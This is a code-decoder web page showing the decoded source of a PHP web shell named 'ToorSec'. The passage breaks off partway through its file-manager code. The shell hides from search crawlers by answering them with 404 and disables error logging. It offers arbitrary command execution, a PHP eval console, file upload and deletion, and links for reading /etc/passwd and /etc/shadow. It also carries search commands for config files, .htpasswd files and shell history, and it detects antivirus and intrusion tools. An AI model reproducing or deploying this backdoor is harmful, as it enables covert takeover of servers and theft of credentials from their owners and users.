Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php #------------------------------------------------------------------------------- ..

Decoded Output download

?>b'<?php 
$color = "#00F000";
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';

if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
        header(\'HTTP/1.0 404 Not Found\');
        exit;
    }
}

@session_start();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo\'<br>\';
if(get_magic_quotes_gpc()) {
	function BOFFstripslashes($array) {
		return is_array($array) ? array_map(\'BOFFstripslashes\', $array) : stripslashes($array);
	}
	$_POST = BOFFstripslashes($_POST);
}

function BOFFLogin() {
	die("<title>ToorSec Authentication</title><pre align=center><b><form method=post><input type=password name=pass size=10><input type=submit value=\'>\'></form></pre>");
}

if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))
	if( empty($auth_pass) || ( isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass) ) )
		$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
	else
		BOFFLogin();

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = \'win\';
else
	$os = \'nix\';

$safe_mode = @ini_get(\'safe_mode\');
if(!$safe_mode)
    error_reporting(0);


$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
	@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($os == \'win\') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\')
	$cwd .= \'/\';

if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))
    $_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$GLOBALS[\'default_use_ajax\'];
	
if($os == \'win\')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate \'.conf\'",
		"locate .pwd files" => "locate \'.pwd\'",
		"locate .sql files" => "locate \'.sql\'",
		"locate .htpasswd files" => "locate \'.htpasswd\'",
		"locate .bash_history files" => "locate \'.bash_history\'",
		"locate .mysql_history files" => "locate \'.mysql_history\'",
		"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"	
	);

function BOFFHeader() {
	if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
	global $color;
	echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'$ ToorSec\'] . "$ ToorSec</title>
<link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>
body{background:url(http://i.imgur.com/zJw5Hl3.png);color:#6b6b6b;}
body,td,th{ border:0px; ;font: 13pt Iceland,Iceland;margin:0;vertical-align:top;color:#00F000; }
table.info{ padding: 0 15px; color:#00F000; background-color:#000; }
span,h1,a{ color: #00F000 !important; }
span{ font-weight: bolder; }
h1{ padding: 0px 5px;font: 14pt Iceland;background-color:#000;margin:0px; }
div.content{ padding: 7px;margin-left:7px;background-color:black; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #000000;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#00F000;background-color:#000000;border:1px solid #00F000; font: 10pt Iceland,\'Iceland\'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:black;}
.main tr:hover{border:2px outset #00F000;;background-color:#000}
.l1{background-color:#000000}
.l2{background-color:black}
pre{font-family:Iceland,Iceland;}
</style>
<script>
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = \'ajax=true\';
		for(i=0;i<d.mf.elements.length;i++)
			params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
		sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject(\'Microsoft.XMLHTTP\');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open(\'POST\', url, true);
            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert(\'Request error!\');
	}
</script>
<head><body><div style=\'position:relative; 	left: 60px; 	border: 1px solid #00F000;

width:90%;background-color:#000000;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
	$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname(\'r\');
	$kernel = @php_uname(\'s\');
	if(strpos(\'Linux\', $kernel) !== false)
		$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . \' \' . substr($release,0,3));
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}

	$cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}

	$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
	$opt_charsets = \'\';
	foreach($charsets as $item)
		$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';

	$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Symlink\'=>\'Symlink\',\'Perl.Sym\'=>\'PSymlink\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Port Scanner\'=>\'PortScanner\',\'LFI\'=>\'lfiscan\',\'Code Injector\'=>\'Injector\');
	if(!empty($GLOBALS[\'auth_pass\']))
		$m[\'Logout\'] = \'Logout\';
	$m[\'ToorSec\'] = \'ToorSec\';
	$menu = \'\';
	foreach($m as $k => $v)
		$menu .= \'<th width="\'.(int)(100/count($m)).\'%">{<a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a>}</th>\';

	$drives = "";
	if($GLOBALS[\'os\'] == \'win\') {
		foreach(range(\'c\',\'z\') as $drive)
		if(is_dir($drive.\':\\'))
			$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
	}
	echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>HDD:<br>Pwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'
       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' </nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFFFFF><b>OFF</b></font>\')
       . \' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Date/Time:</span> \' . date(\'d-m-y H:i:s\') . \'<br>\' . BOFFViewSize($totalSpace) . \' <span>Free:</span> \' . BOFFViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. BOFFPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')">[ home ]</a><br>\' . $drives . \'</td>\'
       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'
       . \'<table style="border-top:2px solid #00F000;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';
}

function BOFFFooter() {
	$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFFFFF\'>(Writeable)</font>":" <font color=#FF0000>(Not writeable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #00F000;border-bottom:2px solid #00F000;\'>
	<tr>
		<td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
		<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
		<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>
	</tr>
		<td><center>$ MAGniFic0 inSiDe yOuR bOx -_-</td>
		<td><center>Where there is a Shell - There is a way!</td>

	</table></div>
		

	</body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {
    function posix_getgrgid($p) {return false;} }

function BOFFEx($in) {
	$out = \'\';
	if (function_exists(\'exec\')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'system\')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists(\'shell_exec\')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function BOFFViewSize($s) {
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}

function BOFFPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}

function BOFFPermsColor($f) {
	if (!@is_readable($f))
		return \'<font color=#6b6b6b>\' . BOFFPerms(@fileperms($f)) . \'</font>\';
	elseif (!@is_writable($f))
		return \'<font color=white>\' . BOFFPerms(@fileperms($f)) . \'</font>\';
	else
		return \'<font color=#6b6b6b>\' . BOFFPerms(@fileperms($f)) . \'</font>\';
}

if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}

function BOFFWhich($p) {
	$path = BOFFEx(\'which \' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	BOFFHeader();
	echo \'<h1>Server Security Information</h1><div class=content>\';
	function BOFFSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo \'<span>\' . $n . \': </span>\';
			if(strpos($v, "
") === false)
				echo $v . \'<br>\';
			else
				echo \'<pre class=ml1>\' . $v . \'</pre>\';
		}
	}
	
	BOFFSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    if(function_exists(\'apache_get_modules\'))
        BOFFSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
	BOFFSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
	BOFFSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
	BOFFSecParam(\'Safe Mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
	BOFFSecParam(\'Safe Mode include dir\', @ini_get(\'safe_mode_include_dir\'));
	BOFFSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
	$temp=array();
	if(function_exists(\'mysql_get_client_info\'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists(\'mssql_connect\'))
		$temp[] = "MSSQL";
	if(function_exists(\'pg_connect\'))
		$temp[] = "PostgreSQL";
	if(function_exists(\'oci_connect\'))
		$temp[] = "Oracle";
	BOFFSecParam(\'Supported Databases\', implode(\', \', $temp));
	echo \'<br>\';
	
	if($GLOBALS[\'os\'] == \'nix\') {
		BOFFSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"Yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'No\');
		BOFFSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"Yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'No\');
		BOFFSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
		BOFFSecParam(\'Distribution name\', @file_get_contents(\'/etc/issue.net\'));
		if(!$GLOBALS[\'safe_mode\']) {
            $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
            $danger = array(\'kav\',\'nod32\',\'bdcoblack\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
            $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
			echo \'<br>\';
			$temp=array();
			foreach ($userful as $item)
				if(BOFFWhich($item))
                    $temp[] = $item;
			BOFFSecParam(\'Userful\', implode(\', \',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(BOFFWhich($item))
                    $temp[] = $item;
			BOFFSecParam(\'Danger\', implode(\', \',$temp));
			$temp=array();
			foreach ($downloaders as $item) 
				if(BOFFWhich($item))
                    $temp[] = $item;
			BOFFSecParam(\'Downloaders\', implode(\', \',$temp));
			echo \'<br/>\';
            BOFFSecParam(\'HDD space\', BOFFEx(\'df -h\'));
			BOFFSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
		}
	} else {
		BOFFSecParam(\'OS Version\',BOFFEx(\'ver\'));
		BOFFSecParam(\'Account Settings\',BOFFEx(\'net accounts\'));
		BOFFSecParam(\'User Accounts\',BOFFEx(\'net user\'));
	}
	echo \'</div>\';
	BOFFFooter();
}

function actionPhp() {
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = true;
		ob_start();
		eval($_POST[\'p1\']);
		$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\\'") . "\';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	BOFFHeader();
	if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {
		echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
		echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
	}
	if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false;
    echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
	echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
	if(!empty($_POST[\'p1\'])) {
		ob_start();
		eval($_POST[\'p1\']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo \'</pre></div>\';
	BOFFFooter();
}

function actionReadable() {
    printHeader();
    echo \'<h1>Readable Dirs</h1>\';
    echo \'<div class="content">\';
    $sm = ini_get(\'safe_mode\');
    if($sm) {
        echo \'<br /><b>Error: safe_mode = on</b><br /><br />\';
    } else {
        @$passwd = fopen(\'/etc/passwd\',\'r\');
        if (!$passwd) { 
            echo \'<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />\'; 
        } else {
            $pub = array();
            $users = array();
            $conf = array();
            $i = 0;
            while(!feof($passwd)) {
                $str = fgets($passwd);
                if ($i > 35) {
                    $pos = strpos($str,\':\');
                    $username = substr($str,0,$pos);
                    $dirz = \'/home/\'.$username.\'/public_html/\';
                    if (($username != \'\')) {
                        if (is_readable($dirz)) {
                            array_push($users,$username);
                            array_push($pub,$dirz);
                        }
                    }
                }
                $i++;
            }
            echo \'<br><br>\';
            echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
            echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
            foreach ($users as $user) {
                $path = "/home/$user/public_html/";
                echo $path."<br>";
            }
            echo "<br /><br /><br />[+] Complete...
"."<br />";
        }
    }
    echo \'</div>\';
    printFooter();    
}

function actionFilesMan() {
	BOFFHeader();
	echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';
	if(!empty($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
					echo "Can\'t upload file!";
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST[\'f\']))
					foreach($_POST[\'f\'] as $f) {
                        if($f == \'..\')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case \'paste\':
				if($_SESSION[\'act\'] == \'copy\') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION[\'f\'] as $f)
						copy_paste($_SESSION[\'c\'],$f, $GLOBALS[\'cwd\']);					
				} elseif($_SESSION[\'act\'] == \'move\') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION[\'f\'] as $f)
						@rename($_SESSION[\'c\'].$f, $GLOBALS[\'cwd\'].$f);
				} elseif($_SESSION[\'act\'] == \'zip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST[\'p2\'], 1)) {
                            chdir($_SESSION[\'c\']);
                            foreach($_SESSION[\'f\'] as $f) {
                                if($f == \'..\')
                                    continue;
                                if(@is_file($_SESSION[\'c\'].$f))
                                    $zip->addFile($_SESSION[\'c\'].$f, $f);
                                elseif(@is_dir($_SESSION[\'c\'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS[\'cwd\']);
                            $zip->close();
                        }
                    }
				} elseif($_SESSION[\'act\'] == \'unzip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        foreach($_SESSION[\'f\'] as $f) {
                            if($zip->open($_SESSION[\'c\'].$f)) {
                                $zip->extractTo($GLOBALS[\'cwd\']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_SESSION[\'act\'] == \'tar\') {
                    chdir($_SESSION[\'c\']);
                    $_SESSION[\'f\'] = array_map(\'escapeshellarg\', $_SESSION[\'f\']);
                    BOFFEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_SESSION[\'f\']));
                    chdir($GLOBALS[\'cwd\']);
				}
				unset($_SESSION[\'f\']);
				break;
			default:
                if(!empty($_POST[\'p1\'])) {
					$_SESSION[\'act\'] = @$_POST[\'p1\'];
					$_SESSION[\'f\'] = @$_POST[\'f\'];
					foreach($_SESSION[\'f\'] as $k => $f)
						$_SESSION[\'f\'][$k] = urldecode($f);
					$_SESSION[\'c\'] = @$_POST[\'c\'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'Can\'t open this folder!\';BOFFFooter(); return; }
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == \'checkbox\')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
